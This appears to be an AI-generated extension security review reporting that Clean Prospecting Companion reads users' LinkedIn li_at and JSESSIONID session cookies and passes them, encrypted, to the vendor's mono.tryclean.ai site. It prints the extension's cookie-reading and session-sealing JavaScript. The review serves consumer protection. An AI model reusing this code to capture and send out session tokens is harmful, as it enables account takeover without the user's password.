Is Clean Prospecting Companion safe?
Clean for LinkedIn hands its own web app your LinkedIn session cookie on request.
When the vendor's web app at mono.tryclean.ai messages the extension, it reads your LinkedIn li_at session cookie and JSESSIONID cookie along with your profile identity and CSRF token, encrypts them with a key the vendor controls, and returns the encrypted bundle to that page. The li_at cookie is the credential LinkedIn uses to keep you signed in, so this hands the vendor's backend the means to access your LinkedIn session without your password.
Who publishes itClean AI Labs - no other listings under this identity
Clean AI Labs - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension sends your LinkedIn session cookie to mono.tryclean.ai
When you run the LinkedIn connect flow on mono.tryclean.ai, the extension reads your li_at and JSESSIONID cookies, seals them with a build-pinned key, and returns the envelope for the vendor to decrypt off your device.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You connect your LinkedIn account from the vendor's mono.tryclean.ai app.
The connect flow lives on the vendor's own site, at /linkedin/connect or a per-workspace integrations settings page.
The extension reads your LinkedIn li_at session cookie and JSESSIONID, then hands an encrypted copy of them back to that page.
The page relays the encrypted envelope to the vendor's backend, which holds the private key needed to decrypt it.
Reading the LinkedIn session cookies and assembling the session package
readCookies() in detect.js
detect.jsasync function readCookies(linkedinOrigin) { const [session, csrf] = await Promise.all([ chrome.cookies.get({ name: 'li_at', url: linkedinOrigin }), chrome.cookies.get({ name: 'JSESSIONID', url: linkedinOrigin }), ]) return session?.value && csrf?.value ? { csrf: csrf.value, session: session.value } : null}captureConfirmedSession() in detect.js
detect.jsexport async function captureConfirmedSession(linkedinOrigin, expectedIdentity) { const detected = await detectIdentity(linkedinOrigin) if (detected.kind !== 'detected') return detected if (detected.identity !== expectedIdentity) return { kind: 'identity_changed' } const cookies = await readCookies(linkedinOrigin) if (!cookies) return { kind: 'signed_out' } return { kind: 'captured', session: { browser: { language: navigator.language, timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone ?? 'UTC', userAgent: navigator.userAgent, }, cookies: [ { name: 'JSESSIONID', value: cookies.csrf }, { name: 'li_at', value: cookies.session }, ], csrfToken: cookies.csrf.replace(/^"(.*)"$/u, '$1'), displayName: detected.displayName, identity: detected.identity, profileUrl: detected.profileUrl, schemaVersion: 1, }, }}- LinkedIn session cookie (li_at)AQEDAR8N3x4B...redacted-length-182-chars (illustrative)
This is LinkedIn's long-lived session token. Anyone holding it can act as you on linkedin.com without your password.
- LinkedIn CSRF cookie (JSESSIONID)ajax:1234567890123456789 (illustrative)
A second session cookie LinkedIn requires alongside li_at to make authenticated API calls on your behalf.
- LinkedIn profile identityurn:li:fs_miniProfile:ACoAAB1a2b3c, 'Jordan Rivera', linkedin.com/in/jordan-rivera-4471 (illustrative)
Your internal LinkedIn profile URN, display name, and public profile URL, resolved via LinkedIn's own API using your cookies.
- Browser fingerprintMozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/128, en-US, America/New_York (illustrative)
Your browser's user agent, language, and time zone, bundled into the same package as the session cookies.
Before it leaves the extension, the session package is encrypted so only the vendor's backend, holding the matching private key, can read it.
{"schemaVersion": 1, "identity": "urn:li:fs_miniProfile:ACoAAB1a2b3c", "displayName": "Jordan Rivera", "profileUrl": "https://www.linkedin.com/in/jordan-rivera-4471", "csrfToken": "ajax:1234567890123456789", "cookies": [{"name": "JSESSIONID", "value": "ajax:1234567890123456789"}, {"name": "li_at", "value": "AQEDAR8N3x4B...redacted-length-182-chars"}], "browser": {"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/128", "language": "en-US", "timeZone": "America/New_York"}} (illustrative)Sealing the session package with a hardcoded public key
export async function sealLinkedInSession({ aad, plaintext, publicKeyPem }) { const pemBody = publicKeyPem .replace(/-----BEGIN PUBLIC KEY-----/u, '') .replace(/-----END PUBLIC KEY-----/u, '') .replace(/\s/gu, '') const keyBytes = Uint8Array.from(atob(pemBody), (char) => char.charCodeAt(0)) const publicKey = await crypto.subtle.importKey( 'spki', keyBytes, { hash: 'SHA-256', name: 'RSA-OAEP' }, false, ['wrapKey'], ) const dataKey = await crypto.subtle.generateKey({ length: 256, name: 'AES-GCM' }, true, [ 'encrypt', ]) const nonce = crypto.getRandomValues(new Uint8Array(12)) const encrypted = await crypto.subtle.encrypt( { additionalData: new TextEncoder().encode(aad), iv: nonce, name: 'AES-GCM' }, dataKey, plaintext, ) const wrappedDataKey = await crypto.subtle.wrapKey('raw', dataKey, publicKey, { name: 'RSA-OAEP', }) const ciphertext = new Uint8Array(encrypted) return { authenticationTag: toBase64Url(ciphertext.slice(ciphertext.length - 16)), encryptedPayload: toBase64Url(ciphertext.slice(0, ciphertext.length - 16)), envelopeVersion: 1, nonce: toBase64Url(nonce), wrappedDataKey: toBase64Url(wrappedDataKey), }}- mono.tryclean.ai
Receives the encrypted envelope from the extension via chrome.runtime.onMessageExternal and relays it to the vendor's backend for decryption.
- www.linkedin.com
Source of the li_at and JSESSIONID cookies; also queried directly by the extension via voyager/api/me to resolve profile identity.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Clean Prospecting Companion contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- mono.tryclean.ai
Clean Prospecting Companion sends data to mono.tryclean.ai. No other extension we have analyzed sends data here.